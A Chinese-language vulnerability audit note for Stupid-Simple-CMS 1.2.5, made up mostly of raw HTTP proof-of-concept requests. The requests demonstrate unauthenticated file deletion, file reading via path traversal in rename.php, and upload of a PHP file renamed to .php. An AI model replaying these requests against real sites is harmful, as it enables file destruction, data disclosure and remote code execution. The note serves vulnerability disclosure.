Stupid-Simple-CMS 审计笔记
未授权任意文件删除
POST /file-manager/delete.php HTTP/1.1
Host: stupidsimplecms.test
Content-Length: 14
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/file-manager/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
file=shell.php
未授权任意文件读取
POST /file-manager/rename.php HTTP/1.1
Host: stupidsimplecms.test
Content-Length: 41
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/file-manager/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
oldName=../../login.php&newName=login.txt
GET /file-manager/uploads/login.txt HTTP/1.1
Host: stupidsimplecms.test
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/file-manager/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Stupid-Simple-CMS-1.2.5/file-manager/rename.php
通过 POST 方法接收参数 oldName newName 判断文件是否存在后直接调用 rename 对文件实现重命名，因为没有对文件的路径进行校验操作，所以可以跨目录的将敏感文件重命名为可读取目录下的文件。
未授权任意文件上传
POST /file-manager/upload.php HTTP/1.1
Host: stupidsimplecms.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=7i8u3g3tdqa76md3u4jqefpb69
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT421U7AT2Eaw4d7i
Content-Length: 202
------WebKitFormBoundaryT421U7AT2Eaw4d7i
Content-Disposition: form-data; name="file"; filename="shell.txt"
Content-Type: text/plain
<?php phpinfo(); ?>
------WebKitFormBoundaryT421U7AT2Eaw4d7i--
POST /file-manager/rename.php HTTP/1.1
Host: stupidsimplecms.test
Content-Length: 35
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Content-Type: application/x-www-form-urlencoded; charset=UTF-8
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/file-manager/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
oldName=shell.txt&newName=shell.php
GET /file-manager/uploads/shell.php HTTP/1.1
Host: stupidsimplecms.test
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/file-manager/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
POST /file-manager/upload.php HTTP/1.1
Host: stupidsimplecms.test
Cache-Control: max-age=0
Upgrade-Insecure-Requests: 1
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/85.0.4183.83 Safari/537.36
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.9
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Cookie: PHPSESSID=7i8u3g3tdqa76md3u4jqefpb69
Connection: close
Content-Type: multipart/form-data; boundary=----WebKitFormBoundaryT421U7AT2Eaw4d7i
Content-Length: 202
------WebKitFormBoundaryT421U7AT2Eaw4d7i
Content-Disposition: form-data; name="file"; filename="shell.php"
Content-Type: text/plain
<?php phpinfo(); ?>
------WebKitFormBoundaryT421U7AT2Eaw4d7i--
GET /file-manager/uploads/shell.php HTTP/1.1
Host: stupidsimplecms.test
sec-ch-ua: "Chromium";v="91", " Not;A Brand";v="99"
Accept: */*
X-Requested-With: XMLHttpRequest
sec-ch-ua-mobile: ?0
User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/91.0.4472.101 Safari/537.36
Origin: http://localhost
Sec-Fetch-Site: same-origin
Sec-Fetch-Mode: cors
Sec-Fetch-Dest: empty
Referer: http://localhost/file-manager/
Accept-Encoding: gzip, deflate
Accept-Language: zh-CN,zh;q=0.9
Connection: close
Stupid-Simple-CMS-1.2.5/file-manager/upload.php
